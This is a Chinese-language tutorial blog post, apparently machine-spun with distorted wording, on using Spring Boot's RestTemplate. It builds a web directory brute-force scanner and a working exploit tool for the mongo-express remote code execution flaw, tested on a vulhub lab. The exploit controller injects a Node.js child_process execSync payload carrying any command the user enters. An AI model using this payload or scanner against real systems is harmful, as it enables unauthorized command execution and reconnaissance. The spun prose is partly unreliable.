于是乎在后面就想到了,通过RestTemplate来做成在线的"武器库",会不会更方便呢。由于Springboot开拓本来就比较大略,而且在后期进行一些团队协作的时候,用在线的平台是不是相对付团队更方便?避免了由于环境不一致而造成的问题。
2.RestTemplate get要求及传参2.1正常get要求不带参首先来用一下正常不带参的要求,既然要利用RestTemplate,那么肯定首先要new出来。之后利用rest.exchange进行要求。
exchange参数解释如下:

类型
解释
url
要求路径
method
要求的方法(GET、POST、PUT等)
requestEntity
HttpEntity工具,封装了要求头和要求体
responseType
返回数据类型
uriVariables
支持PathVariable类型的数据。
参数1,2不做过多讲解,参数3的话,在初始化HttpEntity的时候,就可以传入一个自定义的headers。以是提前通过HttpHeaders headers = new HttpHeaders();进行设置headers并传入即可。
@RequestMapping("gettest")public @ResponseBody String param(){RestTemplate rest = new RestTemplate();HttpHeaders headers = new HttpHeaders();headers.set("user-agent","Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36");String url = "http://127.0.0.1/t.php";ResponseEntity<String> res = rest.exchange(url, HttpMethod.GET,new HttpEntity<> (null,headers),String.class);String body = res.getBody();return body;}
【一>所有资源关注我,私信回答"资料"获取<一】1、网络安全学习路线2、电子书本(白帽子)3、安全大厂内部视频4、100份src文档5、常见安全口试题6、ctf大赛经典题目解析7、全套工具包8、应急相应条记
在上方的代码中,要求的是一个php文件,而该php文件非常大略,只是打印出user_agent。
在打印出user_agent之后,ResponseEntity res这儿就吸收到了回显信息,末了在通过res.getBody();成功获取到页面的回显数据
[图片上传失落败…(image-e68229-1644496865467)]
2.2 get要求带参利用理解完上面的无参get要求之后,接下来理解一下如何传参?
是不是觉得有点呆板了?为此加了点CTF元素。代码如下,只有当用户传参符合第四行的if判断,才会进行输出精确的flag
传参办法:
这种也是最为常见的一种,便是利用参数吸收,是不是觉得和上方无参get办法的代码非常相似?下方形参agent和value便是在网页中的参数名(PS:学过springboot的小伙伴该当都知道)。之后将agent设置到headers里面,而value进行了拼接到t.php?value= 后面进行当做参数值传入
public @ResponseBody String param(String agent,String value){ RestTemplate rest = new RestTemplate(); HttpHeaders headers = new HttpHeaders(); headers.set("user-agent",agent); String url = "http://127.0.0.1/t.php?value="+value; ResponseEntity<String> res = rest.exchange(url, HttpMethod.GET,new HttpEntity<>(null,headers),String.class); String body = res.getBody(); return body; }
最后进行测试一下,成功进行传参获取到了“flag”
2.3 编写在线目录扫描脚本
既然玩转了get要求之后,那就来做一个目录扫描的小功能吧。毕竟学甚至用。
整体实现流程如下,采取springboot,并整合mybatis。这里没有写Service层,由于毕竟都是初步实现而已。
而最为显著的一个优点便是:站点目录都会存入到数据库中,这就在后期发展中避免了字典少,不足用的问题。由于团队成员都可以将自己的字典存入到该数据库中。
首先准备好数据库和一些"字典",测试阶段,本人自己就手动添加了几个。后续如果字典弘大,可自己写个小脚本导入到数据库即可。
数据库准备好之后,就可以进行整合mybatis了。这里pom文件须要加载mybatis和mysql的依赖。
目录构造如下:一个Controller,一个mapper和xml配置文件,以及一个用来存储的类
application主配置文件,紧张用来写一些数据库配置
server.port=8081spring.datasource.username=rootspring.datasource.password=rootspring.datasource.url=jdbc:mysql://localhost:3306/tance?useSSL=false&useUnicode=true&characterEncoding=utf-8mybatis.mapper-locations=classpath:Mapper/.xml
Mapper代码如下,记得要加上@Mapper表明
@Mapperpublic interface MuluMapper { List<catalogue> selectAll();}
Mapper.xml配置,用来查询数据库中的 “字典”
<?xml version="1.0" encoding="UTF-8" ?><!DOCTYPE mapper PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN" "http://mybatis.org/dtd/mybatis-3-mapper.dtd"><mapper namespace="com.example.restclien.Dao.MuluMapper"><select id="selectAll" resultType="com.example.restclien.Dao.catalogue"> select from catalogue </select></mapper>
既然配置好之后,那就开始实现主要功能点了!
代码大略讲解一下:首先通过@Autowired把mapper自动注入。之后List<catalogue> list = muluMapper.selectAll();会到mapper.xml中实行select查询语句,并将其保存到List凑集中。末了到for循环中进行循环遍历过程中,将url与获取的数据库中的name字段内容拼接保存到temp这个临时变量。
举个例子:
用户输入url为http://127.0.0.1
name字段第一个内容为:admin
那么终极 temp=http://127.0.0.1/admin
拼接完成之后,通过exchange访问,终极res.getStatusCodeValue()获取相应码,为200的话,就剖断该文件存在。(PS:这里判断的比较潦草,比如403等情形没有进行判断)
@RestControllerpublic class MapperController { @Autowired MuluMapper muluMapper; @RequestMapping("/tance") public String tance(String url) { RestTemplate rest = new RestTemplate(); HttpHeaders headers = new HttpHeaders(); List<String> lists = new ArrayList<>(); headers.set("user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36"); List<catalogue> list = muluMapper.selectAll(); if(!url.endsWith("/")){ url+="/"; } for (catalogue tance : list) { String temp = url+tance.getName(); try{ ResponseEntity<String> res = rest.exchange(temp, HttpMethod.GET,new HttpEntity<>(null,headers),String.class); lists.add("目录存在:"+temp+" 相应状态码为:"+res.getStatusCodeValue()); }catch(Exception e){ e.printStackTrace(); } } return lists.toString(); }}
看一下终极成品吧,成功实现一款大略单纯的在线web目录扫描
3.RestTemplate post要求3.1 post要求玩法
有了上面的思路之后,post也类似。那么为了防止大家觉得呆板,连续来玩这道"CTF"
php的代码没有太大变动,只是要求换成了post
RestTemplate代码如下:传参将agent设置到headers里面,而value添加到了LinkedMultiValueMap中,可以理解为这个LinkedMultiValueMap便是用来存储post要提交的数据,而末了这个稍作不同的是,用的restTemplate.postForEntity()进行post提交数据即可,与get是非常类似的。
@RequestMapping("/Post01") public @ResponseBody String Post01(String agent,String value){ RestTemplate restTemplate = new RestTemplate(); HttpHeaders headers = new HttpHeaders(); headers.set("user-agent",agent); String url = "http://127.0.0.1/t.php"; LinkedMultiValueMap params = new LinkedMultiValueMap(); params.add("value",value); ResponseEntity<String> str = restTemplate.postForEntity(url,new HttpEntity<>(params,headers),String.class); return str.getBody(); }
末了传参即可,dong的一下,“flag”也就涌现了
[外链图片转存失落败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Yyoolmjz-1644501860640)(https://upload-images.jianshu.io/upload_images/26472780-61ab0ab7546d2863.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)]
3.2 mongo-express 远程代码实行漏洞脚本编写靶场安装直接去vulhub下载即可。安装过程很大略,启动之后
漏洞利用过程更为大略execSync中输入要实行的命令即可。返回Valid表示实行成功了。
之后前往docker查看即可,创造成功创建1.txt
接下来编写利用脚本
先准备一个比较丑的前端页面,存到static目录中,这是Springboot默认存放静态资源的地方。
<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <title>mongo-express 远程代码实行漏洞</title></head><body><form action="/exec" method="post"> 请输入漏洞URL:<input type="text" name="url"/><br/> 请输入要实行的命令:<input type="text" name="command"/> <input type="submit" value="提交"></form></body></html>
Controller编写思路,首先可以看到action提交到了exec,以是RequestMapping写成exec即可,参数的话,一个url用来吸收url地址的,一个command用来吸收命令。
完全Controller如下,笔者带你进一步剖析:在paramMap.add语句中,可以看到对输入进来command进行了拼接,假设笔者这里输入的为“ls”,从而构成了如下数据
document=this.constructor.constructor(“return process”)().mainModule.require(“child_process”).execSync(“ls”)
末了利用的exchange方法进行的POST提交,提交的URL为笔者传入的,而command传入并拼接进去之后,数据终极存到了httpEntity中,,而这里的参数就不做过多讲解,由于有了前面的根本,该当都能一看懂什么意思。
@RequestMapping("/exec") public @ResponseBody String Post01(String url,String command){ RestTemplate restTemplate = new RestTemplate(); HttpHeaders headers = new HttpHeaders(); headers.set("user-agent", "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)"); MultiValueMap<String, String> paramMap = new LinkedMultiValueMap<String, String>(); paramMap.add("document", "this.constructor.constructor(\"return process\")().mainModule.require(\"child_process\").execSync("+"\""+command+"\""+")"); HttpEntity<MultiValueMap<String, String>> httpEntity = new HttpEntity<MultiValueMap<String, String>>(paramMap,headers); ResponseEntity<String> response = null; try { response = restTemplate.exchange(url,HttpMethod.POST,httpEntity, String.class); }catch(NullPointerException e){ e.printStackTrace(); } return response.getBody(); }
终极测试过程,编写脚本利用成功
4.结尾在进行内部团队协作的时候,后期效率确实是可以提升,同时也提升了自己的代码水平~。